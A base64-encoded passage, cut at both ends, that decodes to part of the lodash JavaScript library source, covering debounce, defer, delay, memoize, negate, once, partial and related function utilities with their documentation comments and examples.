YWxsVGltZSk7XG4gICAgICAgICAgfVxuICAgICAgICAgIGlmIChtYXhpbmcpIHtcbiAgICAgICAgICAgIC8vIEhhbmRsZSBpbnZvY2F0aW9ucyBpbiBhIHRpZ2h0IGxvb3AuXG4gICAgICAgICAgICBjbGVhclRpbWVvdXQodGltZXJJZCk7XG4gICAgICAgICAgICB0aW1lcklkID0gc2V0VGltZW91dCh0aW1lckV4cGlyZWQsIHdhaXQpO1xuICAgICAgICAgICAgcmV0dXJuIGludm9rZUZ1bmMobGFzdENhbGxUaW1lKTtcbiAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgaWYgKHRpbWVySWQgPT09IHVuZGVmaW5lZCkge1xuICAgICAgICAgIHRpbWVySWQgPSBzZXRUaW1lb3V0KHRpbWVyRXhwaXJlZCwgd2FpdCk7XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuIHJlc3VsdDtcbiAgICAgIH1cbiAgICAgIGRlYm91bmNlZC5jYW5jZWwgPSBjYW5jZWw7XG4gICAgICBkZWJvdW5jZWQuZmx1c2ggPSBmbHVzaDtcbiAgICAgIHJldHVybiBkZWJvdW5jZWQ7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogRGVmZXJzIGludm9raW5nIHRoZSBgZnVuY2AgdW50aWwgdGhlIGN1cnJlbnQgY2FsbCBzdGFjayBoYXMgY2xlYXJlZC4gQW55XG4gICAgICogYWRkaXRpb25hbCBhcmd1bWVudHMgYXJlIHByb3ZpZGVkIHRvIGBmdW5jYCB3aGVuIGl0J3MgaW52b2tlZC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAwLjEuMFxuICAgICAqIEBjYXRlZ29yeSBGdW5jdGlvblxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IGZ1bmMgVGhlIGZ1bmN0aW9uIHRvIGRlZmVyLlxuICAgICAqIEBwYXJhbSB7Li4uKn0gW2FyZ3NdIFRoZSBhcmd1bWVudHMgdG8gaW52b2tlIGBmdW5jYCB3aXRoLlxuICAgICAqIEByZXR1cm5zIHtudW1iZXJ9IFJldHVybnMgdGhlIHRpbWVyIGlkLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLmRlZmVyKGZ1bmN0aW9uKHRleHQpIHtcbiAgICAgKiAgIGNvbnNvbGUubG9nKHRleHQpO1xuICAgICAqIH0sICdkZWZlcnJlZCcpO1xuICAgICAqIC8vID0+IExvZ3MgJ2RlZmVycmVkJyBhZnRlciBvbmUgbWlsbGlzZWNvbmQuXG4gICAgICovXG4gICAgdmFyIGRlZmVyID0gYmFzZVJlc3QoZnVuY3Rpb24oZnVuYywgYXJncykge1xuICAgICAgcmV0dXJuIGJhc2VEZWxheShmdW5jLCAxLCBhcmdzKTtcbiAgICB9KTtcblxuICAgIC8qKlxuICAgICAqIEludm9rZXMgYGZ1bmNgIGFmdGVyIGB3YWl0YCBtaWxsaXNlY29uZHMuIEFueSBhZGRpdGlvbmFsIGFyZ3VtZW50cyBhcmVcbiAgICAgKiBwcm92aWRlZCB0byBgZnVuY2Agd2hlbiBpdCdzIGludm9rZWQuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMC4xLjBcbiAgICAgKiBAY2F0ZWdvcnkgRnVuY3Rpb25cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBmdW5jIFRoZSBmdW5jdGlvbiB0byBkZWxheS5cbiAgICAgKiBAcGFyYW0ge251bWJlcn0gd2FpdCBUaGUgbnVtYmVyIG9mIG1pbGxpc2Vjb25kcyB0byBkZWxheSBpbnZvY2F0aW9uLlxuICAgICAqIEBwYXJhbSB7Li4uKn0gW2FyZ3NdIFRoZSBhcmd1bWVudHMgdG8gaW52b2tlIGBmdW5jYCB3aXRoLlxuICAgICAqIEByZXR1cm5zIHtudW1iZXJ9IFJldHVybnMgdGhlIHRpbWVyIGlkLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLmRlbGF5KGZ1bmN0aW9uKHRleHQpIHtcbiAgICAgKiAgIGNvbnNvbGUubG9nKHRleHQpO1xuICAgICAqIH0sIDEwMDAsICdsYXRlcicpO1xuICAgICAqIC8vID0+IExvZ3MgJ2xhdGVyJyBhZnRlciBvbmUgc2Vjb25kLlxuICAgICAqL1xuICAgIHZhciBkZWxheSA9IGJhc2VSZXN0KGZ1bmN0aW9uKGZ1bmMsIHdhaXQsIGFyZ3MpIHtcbiAgICAgIHJldHVybiBiYXNlRGVsYXkoZnVuYywgdG9OdW1iZXIod2FpdCkgfHwgMCwgYXJncyk7XG4gICAgfSk7XG5cbiAgICAvKipcbiAgICAgKiBDcmVhdGVzIGEgZnVuY3Rpb24gdGhhdCBpbnZva2VzIGBmdW5jYCB3aXRoIGFyZ3VtZW50cyByZXZlcnNlZC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjAuMFxuICAgICAqIEBjYXRlZ29yeSBGdW5jdGlvblxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IGZ1bmMgVGhlIGZ1bmN0aW9uIHRvIGZsaXAgYXJndW1lbnRzIGZvci5cbiAgICAgKiBAcmV0dXJucyB7RnVuY3Rpb259IFJldHVybnMgdGhlIG5ldyBmbGlwcGVkIGZ1bmN0aW9uLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiB2YXIgZmxpcHBlZCA9IF8uZmxpcChmdW5jdGlvbigpIHtcbiAgICAgKiAgIHJldHVybiBfLnRvQXJyYXkoYXJndW1lbnRzKTtcbiAgICAgKiB9KTtcbiAgICAgKlxuICAgICAqIGZsaXBwZWQoJ2EnLCAnYicsICdjJywgJ2QnKTtcbiAgICAgKiAvLyA9PiBbJ2QnLCAnYycsICdiJywgJ2EnXVxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGZsaXAoZnVuYykge1xuICAgICAgcmV0dXJuIGNyZWF0ZVdyYXAoZnVuYywgV1JBUF9GTElQX0ZMQUcpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENyZWF0ZXMgYSBmdW5jdGlvbiB0aGF0IG1lbW9pemVzIHRoZSByZXN1bHQgb2YgYGZ1bmNgLiBJZiBgcmVzb2x2ZXJgIGlzXG4gICAgICogcHJvdmlkZWQsIGl0IGRldGVybWluZXMgdGhlIGNhY2hlIGtleSBmb3Igc3RvcmluZyB0aGUgcmVzdWx0IGJhc2VkIG9uIHRoZVxuICAgICAqIGFyZ3VtZW50cyBwcm92aWRlZCB0byB0aGUgbWVtb2l6ZWQgZnVuY3Rpb24uIEJ5IGRlZmF1bHQsIHRoZSBmaXJzdCBhcmd1bWVudFxuICAgICAqIHByb3ZpZGVkIHRvIHRoZSBtZW1vaXplZCBmdW5jdGlvbiBpcyB1c2VkIGFzIHRoZSBtYXAgY2FjaGUga2V5LiBUaGUgYGZ1bmNgXG4gICAgICogaXMgaW52b2tlZCB3aXRoIHRoZSBgdGhpc2AgYmluZGluZyBvZiB0aGUgbWVtb2l6ZWQgZnVuY3Rpb24uXG4gICAgICpcbiAgICAgKiAqKk5vdGU6KiogVGhlIGNhY2hlIGlzIGV4cG9zZWQgYXMgdGhlIGBjYWNoZWAgcHJvcGVydHkgb24gdGhlIG1lbW9pemVkXG4gICAgICogZnVuY3Rpb24uIEl0cyBjcmVhdGlvbiBtYXkgYmUgY3VzdG9taXplZCBieSByZXBsYWNpbmcgdGhlIGBfLm1lbW9pemUuQ2FjaGVgXG4gICAgICogY29uc3RydWN0b3Igd2l0aCBvbmUgd2hvc2UgaW5zdGFuY2VzIGltcGxlbWVudCB0aGVcbiAgICAgKiBbYE1hcGBdKGh0dHA6Ly9lY21hLWludGVybmF0aW9uYWwub3JnL2VjbWEtMjYyLzcuMC8jc2VjLXByb3BlcnRpZXMtb2YtdGhlLW1hcC1wcm90b3R5cGUtb2JqZWN0KVxuICAgICAqIG1ldGhvZCBpbnRlcmZhY2Ugb2YgYGNsZWFyYCwgYGRlbGV0ZWAsIGBnZXRgLCBgaGFzYCwgYW5kIGBzZXRgLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDAuMS4wXG4gICAgICogQGNhdGVnb3J5IEZ1bmN0aW9uXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gZnVuYyBUaGUgZnVuY3Rpb24gdG8gaGF2ZSBpdHMgb3V0cHV0IG1lbW9pemVkLlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IFtyZXNvbHZlcl0gVGhlIGZ1bmN0aW9uIHRvIHJlc29sdmUgdGhlIGNhY2hlIGtleS5cbiAgICAgKiBAcmV0dXJucyB7RnVuY3Rpb259IFJldHVybnMgdGhlIG5ldyBtZW1vaXplZCBmdW5jdGlvbi5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogdmFyIG9iamVjdCA9IHsgJ2EnOiAxLCAnYic6IDIgfTtcbiAgICAgKiB2YXIgb3RoZXIgPSB7ICdjJzogMywgJ2QnOiA0IH07XG4gICAgICpcbiAgICAgKiB2YXIgdmFsdWVzID0gXy5tZW1vaXplKF8udmFsdWVzKTtcbiAgICAgKiB2YWx1ZXMob2JqZWN0KTtcbiAgICAgKiAvLyA9PiBbMSwgMl1cbiAgICAgKlxuICAgICAqIHZhbHVlcyhvdGhlcik7XG4gICAgICogLy8gPT4gWzMsIDRdXG4gICAgICpcbiAgICAgKiBvYmplY3QuYSA9IDI7XG4gICAgICogdmFsdWVzKG9iamVjdCk7XG4gICAgICogLy8gPT4gWzEsIDJdXG4gICAgICpcbiAgICAgKiAvLyBNb2RpZnkgdGhlIHJlc3VsdCBjYWNoZS5cbiAgICAgKiB2YWx1ZXMuY2FjaGUuc2V0KG9iamVjdCwgWydhJywgJ2InXSk7XG4gICAgICogdmFsdWVzKG9iamVjdCk7XG4gICAgICogLy8gPT4gWydhJywgJ2InXVxuICAgICAqXG4gICAgICogLy8gUmVwbGFjZSBgXy5tZW1vaXplLkNhY2hlYC5cbiAgICAgKiBfLm1lbW9pemUuQ2FjaGUgPSBXZWFrTWFwO1xuICAgICAqL1xuICAgIGZ1bmN0aW9uIG1lbW9pemUoZnVuYywgcmVzb2x2ZXIpIHtcbiAgICAgIGlmICh0eXBlb2YgZnVuYyAhPSAnZnVuY3Rpb24nIHx8IChyZXNvbHZlciAhPSBudWxsICYmIHR5cGVvZiByZXNvbHZlciAhPSAnZnVuY3Rpb24nKSkge1xuICAgICAgICB0aHJvdyBuZXcgVHlwZUVycm9yKEZVTkNfRVJST1JfVEVYVCk7XG4gICAgICB9XG4gICAgICB2YXIgbWVtb2l6ZWQgPSBmdW5jdGlvbigpIHtcbiAgICAgICAgdmFyIGFyZ3MgPSBhcmd1bWVudHMsXG4gICAgICAgICAgICBrZXkgPSByZXNvbHZlciA/IHJlc29sdmVyLmFwcGx5KHRoaXMsIGFyZ3MpIDogYXJnc1swXSxcbiAgICAgICAgICAgIGNhY2hlID0gbWVtb2l6ZWQuY2FjaGU7XG5cbiAgICAgICAgaWYgKGNhY2hlLmhhcyhrZXkpKSB7XG4gICAgICAgICAgcmV0dXJuIGNhY2hlLmdldChrZXkpO1xuICAgICAgICB9XG4gICAgICAgIHZhciByZXN1bHQgPSBmdW5jLmFwcGx5KHRoaXMsIGFyZ3MpO1xuICAgICAgICBtZW1vaXplZC5jYWNoZSA9IGNhY2hlLnNldChrZXksIHJlc3VsdCkgfHwgY2FjaGU7XG4gICAgICAgIHJldHVybiByZXN1bHQ7XG4gICAgICB9O1xuICAgICAgbWVtb2l6ZWQuY2FjaGUgPSBuZXcgKG1lbW9pemUuQ2FjaGUgfHwgTWFwQ2FjaGUpO1xuICAgICAgcmV0dXJuIG1lbW9pemVkO1xuICAgIH1cblxuICAgIC8vIEV4cG9zZSBgTWFwQ2FjaGVgLlxuICAgIG1lbW9pemUuQ2FjaGUgPSBNYXBDYWNoZTtcblxuICAgIC8qKlxuICAgICAqIENyZWF0ZXMgYSBmdW5jdGlvbiB0aGF0IG5lZ2F0ZXMgdGhlIHJlc3VsdCBvZiB0aGUgcHJlZGljYXRlIGBmdW5jYC4gVGhlXG4gICAgICogYGZ1bmNgIHByZWRpY2F0ZSBpcyBpbnZva2VkIHdpdGggdGhlIGB0aGlzYCBiaW5kaW5nIGFuZCBhcmd1bWVudHMgb2YgdGhlXG4gICAgICogY3JlYXRlZCBmdW5jdGlvbi5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAzLjAuMFxuICAgICAqIEBjYXRlZ29yeSBGdW5jdGlvblxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IHByZWRpY2F0ZSBUaGUgcHJlZGljYXRlIHRvIG5lZ2F0ZS5cbiAgICAgKiBAcmV0dXJucyB7RnVuY3Rpb259IFJldHVybnMgdGhlIG5ldyBuZWdhdGVkIGZ1bmN0aW9uLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBmdW5jdGlvbiBpc0V2ZW4obikge1xuICAgICAqICAgcmV0dXJuIG4gJSAyID09IDA7XG4gICAgICogfVxuICAgICAqXG4gICAgICogXy5maWx0ZXIoWzEsIDIsIDMsIDQsIDUsIDZdLCBfLm5lZ2F0ZShpc0V2ZW4pKTtcbiAgICAgKiAvLyA9PiBbMSwgMywgNV1cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBuZWdhdGUocHJlZGljYXRlKSB7XG4gICAgICBpZiAodHlwZW9mIHByZWRpY2F0ZSAhPSAnZnVuY3Rpb24nKSB7XG4gICAgICAgIHRocm93IG5ldyBUeXBlRXJyb3IoRlVOQ19FUlJPUl9URVhUKTtcbiAgICAgIH1cbiAgICAgIHJldHVybiBmdW5jdGlvbigpIHtcbiAgICAgICAgdmFyIGFyZ3MgPSBhcmd1bWVudHM7XG4gICAgICAgIHN3aXRjaCAoYXJncy5sZW5ndGgpIHtcbiAgICAgICAgICBjYXNlIDA6IHJldHVybiAhcHJlZGljYXRlLmNhbGwodGhpcyk7XG4gICAgICAgICAgY2FzZSAxOiByZXR1cm4gIXByZWRpY2F0ZS5jYWxsKHRoaXMsIGFyZ3NbMF0pO1xuICAgICAgICAgIGNhc2UgMjogcmV0dXJuICFwcmVkaWNhdGUuY2FsbCh0aGlzLCBhcmdzWzBdLCBhcmdzWzFdKTtcbiAgICAgICAgICBjYXNlIDM6IHJldHVybiAhcHJlZGljYXRlLmNhbGwodGhpcywgYXJnc1swXSwgYXJnc1sxXSwgYXJnc1syXSk7XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICFwcmVkaWNhdGUuYXBwbHkodGhpcywgYXJncyk7XG4gICAgICB9O1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENyZWF0ZXMgYSBmdW5jdGlvbiB0aGF0IGlzIHJlc3RyaWN0ZWQgdG8gaW52b2tpbmcgYGZ1bmNgIG9uY2UuIFJlcGVhdCBjYWxsc1xuICAgICAqIHRvIHRoZSBmdW5jdGlvbiByZXR1cm4gdGhlIHZhbHVlIG9mIHRoZSBmaXJzdCBpbnZvY2F0aW9uLiBUaGUgYGZ1bmNgIGlzXG4gICAgICogaW52b2tlZCB3aXRoIHRoZSBgdGhpc2AgYmluZGluZyBhbmQgYXJndW1lbnRzIG9mIHRoZSBjcmVhdGVkIGZ1bmN0aW9uLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDAuMS4wXG4gICAgICogQGNhdGVnb3J5IEZ1bmN0aW9uXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gZnVuYyBUaGUgZnVuY3Rpb24gdG8gcmVzdHJpY3QuXG4gICAgICogQHJldHVybnMge0Z1bmN0aW9ufSBSZXR1cm5zIHRoZSBuZXcgcmVzdHJpY3RlZCBmdW5jdGlvbi5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogdmFyIGluaXRpYWxpemUgPSBfLm9uY2UoY3JlYXRlQXBwbGljYXRpb24pO1xuICAgICAqIGluaXRpYWxpemUoKTtcbiAgICAgKiBpbml0aWFsaXplKCk7XG4gICAgICogLy8gPT4gYGNyZWF0ZUFwcGxpY2F0aW9uYCBpcyBpbnZva2VkIG9uY2VcbiAgICAgKi9cbiAgICBmdW5jdGlvbiBvbmNlKGZ1bmMpIHtcbiAgICAgIHJldHVybiBiZWZvcmUoMiwgZnVuYyk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhIGZ1bmN0aW9uIHRoYXQgaW52b2tlcyBgZnVuY2Agd2l0aCBpdHMgYXJndW1lbnRzIHRyYW5zZm9ybWVkLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBzaW5jZSA0LjAuMFxuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQGNhdGVnb3J5IEZ1bmN0aW9uXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gZnVuYyBUaGUgZnVuY3Rpb24gdG8gd3JhcC5cbiAgICAgKiBAcGFyYW0gey4uLihGdW5jdGlvbnxGdW5jdGlvbltdKX0gW3RyYW5zZm9ybXM9W18uaWRlbnRpdHldXVxuICAgICAqICBUaGUgYXJndW1lbnQgdHJhbnNmb3Jtcy5cbiAgICAgKiBAcmV0dXJucyB7RnVuY3Rpb259IFJldHVybnMgdGhlIG5ldyBmdW5jdGlvbi5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogZnVuY3Rpb24gZG91YmxlZChuKSB7XG4gICAgICogICByZXR1cm4gbiAqIDI7XG4gICAgICogfVxuICAgICAqXG4gICAgICogZnVuY3Rpb24gc3F1YXJlKG4pIHtcbiAgICAgKiAgIHJldHVybiBuICogbjtcbiAgICAgKiB9XG4gICAgICpcbiAgICAgKiB2YXIgZnVuYyA9IF8ub3ZlckFyZ3MoZnVuY3Rpb24oeCwgeSkge1xuICAgICAqICAgcmV0dXJuIFt4LCB5XTtcbiAgICAgKiB9LCBbc3F1YXJlLCBkb3VibGVkXSk7XG4gICAgICpcbiAgICAgKiBmdW5jKDksIDMpO1xuICAgICAqIC8vID0+IFs4MSwgNl1cbiAgICAgKlxuICAgICAqIGZ1bmMoMTAsIDUpO1xuICAgICAqIC8vID0+IFsxMDAsIDEwXVxuICAgICAqL1xuICAgIHZhciBvdmVyQXJncyA9IGNhc3RSZXN0KGZ1bmN0aW9uKGZ1bmMsIHRyYW5zZm9ybXMpIHtcbiAgICAgIHRyYW5zZm9ybXMgPSAodHJhbnNmb3Jtcy5sZW5ndGggPT0gMSAmJiBpc0FycmF5KHRyYW5zZm9ybXNbMF0pKVxuICAgICAgICA/IGFycmF5TWFwKHRyYW5zZm9ybXNbMF0sIGJhc2VVbmFyeShnZXRJdGVyYXRlZSgpKSlcbiAgICAgICAgOiBhcnJheU1hcChiYXNlRmxhdHRlbih0cmFuc2Zvcm1zLCAxKSwgYmFzZVVuYXJ5KGdldEl0ZXJhdGVlKCkpKTtcblxuICAgICAgdmFyIGZ1bmNzTGVuZ3RoID0gdHJhbnNmb3Jtcy5sZW5ndGg7XG4gICAgICByZXR1cm4gYmFzZVJlc3QoZnVuY3Rpb24oYXJncykge1xuICAgICAgICB2YXIgaW5kZXggPSAtMSxcbiAgICAgICAgICAgIGxlbmd0aCA9IG5hdGl2ZU1pbihhcmdzLmxlbmd0aCwgZnVuY3NMZW5ndGgpO1xuXG4gICAgICAgIHdoaWxlICgrK2luZGV4IDwgbGVuZ3RoKSB7XG4gICAgICAgICAgYXJnc1tpbmRleF0gPSB0cmFuc2Zvcm1zW2luZGV4XS5jYWxsKHRoaXMsIGFyZ3NbaW5kZXhdKTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gYXBwbHkoZnVuYywgdGhpcywgYXJncyk7XG4gICAgICB9KTtcbiAgICB9KTtcblxuICAgIC8qKlxuICAgICAqIENyZWF0ZXMgYSBmdW5jdGlvbiB0aGF0IGludm9rZXMgYGZ1bmNgIHdpdGggYHBhcnRpYWxzYCBwcmVwZW5kZWQgdG8gdGhlXG4gICAgICogYXJndW1lbnRzIGl0IHJlY2VpdmVzLiBUaGlzIG1ldGhvZCBpcyBsaWtlIGBfLmJpbmRgIGV4Y2VwdCBpdCBkb2VzICoqbm90KipcbiAgICAgKiBhbHRlciB0aGUgYHRoaXNgIGJpbmRpbmcuXG4gICAgICpcbiAgICAgKiBUaGUgYF8ucGFydGlhbC5wbGFjZWhvbGRlcmAgdmFsdWUsIHdoaWNoIGRlZmF1bHRzIHRvIGBfYCBpbiBtb25vbGl0aGljXG4gICAgICogYnVpbGRzLCBtYXkgYmUgdXNlZCBhcyBhIHBsYWNlaG9sZGVyIGZvciBwYXJ0aWFsbHkgYXBwbGllZCBhcmd1bWVudHMuXG4gICAgICpcbiAgICAgKiAqKk5vdGU6KiogVGhpcyBtZXRob2QgZG9lc24ndCBzZXQgdGhlIFwibGVuZ3RoXCIgcHJvcGVydHkgb2YgcGFydGlhbGx5XG4gICAgICogYXBwbGllZCBmdW5jdGlvbnMuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMC4yLjBcbiAgICAgKiBAY2F0ZWdvcnkgRnVuY3Rpb25cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBmdW5jIFRoZSBmdW5jdGlvbiB0byBwYXJ0aWFsbHkgYXBwbHkgYXJndW1lbnRzIHRvLlxuICAgICAqIEBwYXJhbSB7Li4uKn0gW3BhcnRpYWxzXSBUaGUgYXJndW1lbnRzIHRvIGJlIHBhcnRpYWxseSBhcHBsaWVkLlxuICAgICAqIEByZXR1cm5zIHtGdW5jdGlvbn0gUmV0dXJucyB0aGUgbmV3IHBhcnRpYWxseSBhcHBsaWVkIGZ1bmN0aW9uLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBmdW5jdGlvbiBncmVldChncmVldGluZywgbmFtZSkge1xuICAgICAqICAgcmV0dXJuIGdyZWV0aW5nICsgJyAnICsgbmFtZTtcbiAgICAgKiB9XG4gICAgICpcbiAgICAgKiB2YXIgc2F5SGVsbG9UbyA9IF8ucGFydGlhbChncmVldCwgJ2hlbGxvJyk7XG4gICAgICogc2F5SGVsbG9UbygnZnJlZCcpO1xuICAgICAqIC8vID0+ICdoZWxsbyBmcmVkJ1xuICAgICAqXG4gICAgICogLy8gUGFydGlhbGx5IGFwcGxpZWQgd2l0aCBwbGFjZWhvbGRlcnMuXG4gICAgICogdmFyIGdyZWV0RnJlZCA9IF8ucGFydGlhbChncmVldCwgXywgJ2ZyZWQnKTtcbiAgICAgKiBncmVldEZyZWQoJ2hpJyk7XG4gICAgICogLy8gPT4gJ2hpIGZyZWQnXG4gICAgICovXG4gICAgdmFyIHBhcnRpYWwgPSBiYXNlUmVzdChmdW5jdGlvbihmdW5jLCBwYXJ0aWFscykge1xuICAgICAgdmFyIGhvbGRlcnMgPSByZXBsYWNlSG9sZGVycyhwYXJ0aWFscywgZ2V0SG9sZGVyKHBhcnRpYWwpKTtcbiAgICAgIHJldHVybiBjcmVhdGVXcmFwKGZ1bmMsIFdSQVBfUEFSVElBTF9GTEFHLCB1bmRlZmluZWQsIHBhcnRpYWxzLCBob2xkZXJzKTtcbiAgICB9KTtcblxuICAgIC8qKlxuICAgICAqIFRoaXMgbWV0aG9kIGlzIGxpa2UgYF8ucGFydGlhbGAgZXhjZXB0IHRoYXQgcGFydGlhbGx5IGFwcGxpZWQgYXJndW1lbnRzXG4gICAgICogYXJlIGFwcGVuZGVkIHRvIHRoZSBhcmd1bWVudHMgaXQgcmVjZWl2ZXMuXG4gICAgICpcbiAgICAgKiBUaGUgYF8ucGFydGlhbFJpZ2h0LnBsYWNlaG9sZGVyYCB2YWx1ZSwgd2hpY2ggZGVmYXVsdHMgdG8gYF9gIGluIG1vbm9saXRoaWNcbiAgICAgKiBidWlsZHMsIG1heSBiZSB1c2VkIGFzIGEgcGxhY2Vob2xkZXIgZm9yIHBhcnRpYWxseSBhcHBsaWVkIGFyZ3VtZW50cy5cbiAgICAgKlxuICAgICAqICoqTm90ZToqKiBUaGlzIG1ldGhvZCBkb2Vzbid0IHNldCB0aGUgXCJsZW5ndGhcIiBwcm9wZXJ0eSBvZiBwYXJ0aWFsbHlcbiAgICAgKiBhcHBsaWVkIGZ1bmN0aW9ucy5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAxLjAuMFxuICAgICAqIEBjYXRlZ29yeSBGdW5jdGlvblxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IGZ1bmMgVGhlIGZ1bmN0aW9uIHRvIHBhcnRpYWxseSBhcHBseSBhcmd1bWVudHMgdG8uXG4gICAgICogQHBhcmFtIHsuLi4qfSBbcGFydGlhbHNdIFRoZSBhcmd1bWVudHMgdG8gYmUgcGFydGlhbGx5IGFwcGxpZWQuXG4gICAgICogQHJldHVybnMge0Z1bmN0aW9ufSBSZXR1cm5zIHRoZSBuZXcgcGFydGlhbGx5IGFwcGxpZWQgZnVuY3Rpb24uXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIGZ1bmN0aW9uIGdyZWV0KGdyZWV0aW5nLCBuYW1lKSB7XG4gICAgICogICByZXR1cm4gZ3JlZXRpbmcgKyAnICcgKyBuYW1lO1xuICAgICAqIH1cbiAgICAgKlxuICAgICAqIHZhciBncmVldEZyZWQgPSBfLnBhcnRpYWxSaWdodChncmVldCwgJ2ZyZWQnKTtcbiAgICAgKiBncmVldEZyZWQoJ2hpJyk7XG4gICAgICogLy8gPT4gJ2hpIGZyZWQnXG4gICAgICpcbiAgICAgKiAvLyBQYXJ0aWFsbHkgYXBwbGllZCB3aXRoIHBsYWNlaG9sZGVycy5cbiAgICAgKiB2YXIgc2F5SGVsbG9UbyA9IF8ucGFydGlhbFJpZ2h0KGdyZWV0LCAnaGVsbG8nLCBfKTtcbiAgICAgKiBzYXlIZWxsb1RvKCdmcmVkJyk7XG4gICAgICogLy8gPT4gJ2hlbGxvIGZyZWQnXG4gICAgICovXG4gICAgdmFyIHBhcnRpYWxSaWdodCA9IGJhc2VSZXN0KGZ1bmN0aW9uKGZ1bmMsIHBhcnRpYWxzKSB7XG4gICAgICB2YXIgaG9sZGVycyA9IHJlcGxhY2VIb2xkZXJzKHBhcnRpYWxzLCBnZXRIb2xkZXIocGFydGlhbFJpZ2h0KSk7XG4gICAgICByZXR1cm4gY3JlYXRlV3JhcChmdW5jLCBXUkFQX1BBUlRJQUxfUklHSFRfRkxBRywgdW5kZWZpbmVkLCBwYXJ0aWFscywgaG9sZGVycyk7XG4gICAgfSk7XG5cbiAgICAvKipcbiAgICAgKiBDcmVhdGVzIGEgZnVuY3Rpb24gdGhhdCBpbnZva2VzIGBmdW5jYCB3aXRoIGFyZ3VtZW50cyBhcnJhbmdlZCBhY2NvcmRpbmdcbiAgICAgKiB0byB0aGUgc3BlY2lmaWVkIGBpbmRleGVzYCB3aGVyZSB0aGUgYXJndW1lbnQgdmFsdWUgYXQgdGhlIGZpcnN0IGluZGV4IGlzXG4gICAgICogcHJvdmlkZWQgYXMgdGhlIGZpcnN0IGFyZ3VtZW50LCB0aGUgYXJndW1lbnQgdmFsdWUgYXQgdGhlIHNlY29uZCBpbmRleCBpc1xuICAgICAqIHByb3ZpZGVkIGFzIHRoZSBzZWNvbmQgYXJndW1lbnQsIGFuZCBzbyBvbi5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAzLjAuMFxuICAgICAqIEBjYXRlZ29yeSBGdW5jdGlvblxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IGZ1bmMgVGhlIGZ1bmN0aW9uIHRvIHJlYXJyYW5nZSBhcmd1bWVudHMgZm9yLlxuICAgICAqIEBwYXJhbSB7Li4uKG51bWJlcnxudW1iZXJbXSl9IGluZGV4ZXMgVGhlIGFycmFuZ2VkIGFyZ3VtZW50IGluZGV4ZXMuXG4gICAgICogQHJldHVybnMge0Z1bmN0aW9ufSBSZXR1cm5zIHRoZSBuZXcgZnVuY3Rpb24uXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIHZhciByZWFyZ2VkID0gXy5yZWFyZyhmdW5jdGlvbihhLCBiLCBjKSB7XG4gICAgICogICByZXR1cm4gW2EsIGIsIGNdO1xuICAgICAqIH0sIFsyLCAwLCAxXSk7XG4gICAgICpcbiAgICAgKiByZWFyZ2VkKCdiJywgJ2MnLCAnYScpXG4gICAgICogLy8gPT4gWydhJywgJ2InLCAnYyddXG4gICAgICovXG4gICAgdmFyIHJlYXJnID0gZmxhdFJlc3QoZnVuY3Rpb24oZnVuYywgaW5kZXhlcykge1xuICAgICAgcmV0dXJuIGNyZWF0ZVdyYXAoZnVuYywgV1JBUF9SRUFSR19GTEFHLCB1bmRlZmluZWQsIHVuZGVmaW5lZCwgdW5kZWZpbmVkLCBpbmRleGVzKTtcbiAgICB9KTtcblxuICAgIC8qKlxuICAgICAqIENyZWF0ZXMgYSBmdW5jdGlvbiB0aGF0IGludm9rZXMgYGZ1bmNgIHdpdGggdGhlIGB0aGl